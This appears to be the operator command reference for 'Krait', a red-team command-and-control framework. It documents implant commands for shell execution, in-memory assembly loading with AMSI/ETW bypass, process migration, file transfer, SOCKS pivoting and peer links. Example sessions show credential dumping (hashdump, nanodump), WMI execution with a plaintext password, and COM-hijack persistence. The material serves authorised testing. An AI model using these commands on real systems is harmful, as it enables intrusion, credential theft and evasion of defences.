Command Reference

All operator commands available in the Krait console. Commands are entered at the krait> prompt (global) or krait [agent_id]> prompt (session-scoped).

Session Management

Command	Usage	Description
sessions	sessions	List all agent sessions with status, transport, hostname, PID, last seen, and lock holder
use	use <id>	Lock and switch to an agent session. Prefix match on agent ID is supported. Use --force to override another operator’s lock
background	background	Release the current agent lock and return to session-select mode
rename	rename <id> <name>	Assign a friendly name to a session (e.g., rename abc12 dc01)
kill	kill <id>	Queue an exit task to a specific agent without switching to it
remove	remove <id>	Remove a dead or stale session from the session list
graph	graph	Display the agent topology as an ASCII tree showing parent-child relationships
graph dot	graph dot	Output a DOT-format graph (pipe to graphviz: graph dot | dot -Tpng -o graph.png)

Execution

Command	Usage	Description	MITRE
<bofname>	whoami, ps, sysinfo	Queue a BOF by its short name. See BOF Reference for the full list	Varies
<bofname> <args>	ls C:\Users, cat C:\flag.txt	Queue a BOF with arguments	Varies
cmd	cmd <command>	Run a shell command via cmd.exe /C. Output is captured	T1059.003
powershell	powershell <command>	Run a PowerShell command (hidden window, no profile)	T1059.001
execute-assembly	execute-assembly <path> [args]	Load a .NET assembly in-memory and execute it. Fork-and-run with full evasion (AMSI/ETW bypass, PPID spoof)	T1620
sleep	sleep <seconds>	Set a one-shot sleep (agent sleeps this long once, then resumes normal interval)	-
interval	interval <seconds> [jitter%]	Set the poll interval and optional jitter percentage	-
exit	exit	Queue an exit task — the implant terminates on next poll	-
migrate	migrate [target_pid]	Migrate to a new process via reflective PE mapping. If no PID is given, spawns a sacrificial process	T1055
chain	chain <cmd1>;<cmd2>;...	Chain multiple BOFs into a single task. All execute sequentially on one poll cycle	-

File Operations

Command	Usage	Description	MITRE
download	download <remote> [local]	Download a file from the target to the operator host	T1041
upload	upload <local> <remote>	Upload a local file to the target	T1105
cd	cd <path>	Change the remote working directory	-
ls	ls [path]	List directory contents (default: current directory)	T1083
cat	cat <path>	Display file contents	T1005
cp	cp <src> <dst>	Copy a file on the target	-
mv	mv <src> <dst>	Move or rename a file on the target	-
rm	rm <path>	Delete a file on the target	T1070.004
mkdir	mkdir <path>	Create a directory on the target	-

Peer-to-Peer (P2P)

Command	Usage	Description	MITRE
link	link <host> <pipe_name>	Connect to an SMB child agent via named pipe	T1570
tcp-link	tcp-link <port>	Listen for a TCP child agent to connect back	T1570
unlink	unlink <child_id>	Disconnect a child agent from the current parent	-

SOCKS Proxy

Command	Usage	Description	MITRE
socks start	socks start [port]	Start a SOCKS5 proxy through the current agent (default port: 1080)	T1572
socks stop	socks stop	Stop the SOCKS5 proxy	-
socks status	socks status	Show SOCKS proxy status	-

Operator

Command	Usage	Description
list	list or list <category>	List available BOFs, optionally filtered by category
queue	queue	Show pending tasks for the current agent
results	results	Show received task results
save	save <task_id> <path>	Save a task result to a local file
stage	stage <file>	Load an encrypted payload for staged delivery
log	log [n]	Show the event log (last n entries, default: all)
timeline	timeline	Show the event timeline
redirector	redirector	Show the active traffic profile URIs
operators	operators	Show connected operators and their active sessions
report	report [path]	Export MITRE ATT&CK Navigator JSON layer
python	python <script>	Run an impacket script through the operator proxy
proxy	proxy <command>	Run a command through the SOCKS proxy (proxychains)
clear	clear	Clear the console
help	help	Show the command help
quit	quit	Disconnect the CLI

Multi-Operator Commands

Command	Usage	Description
operators	operators	List connected operators, their connection time, and which agent they’re locked to
use --force	use <id> --force	Override another operator’s lock on an agent (they receive a notification)

Using BOFs

BOFs (Beacon Object Files) are called by their short name. Arguments follow the name, separated by spaces.

krait [abc12345]> whoami
krait [abc12345]> ps
krait [abc12345]> ls C:\Users
krait [abc12345]> cat C:\Windows\System32\drivers\etc\hosts
krait [abc12345]> hashdump
krait [abc12345]> nanodump
krait [abc12345]> execute-assembly /opt/Seatbelt.exe -group=all
krait [abc12345]> wmi_exec 10.0.0.5 administrator Password1 "whoami"
krait [abc12345]> persist_comhijack install C:\path\to\proxy.dll

For the full BOF list with arguments and descriptions, see the BOF Reference.

Chaining

Chain multiple commands into a single task that executes sequentially on one poll cycle:

krait [abc12345]> chain whoami;ps;sysinfo;hostname
krait [abc12345]> chain ls C:\Users;cat C:\Users\admin\Desktop\flag.txt

Useful for reducing the number of callbacks when operating over a high-latency transport or when you need multiple recon results from the same poll.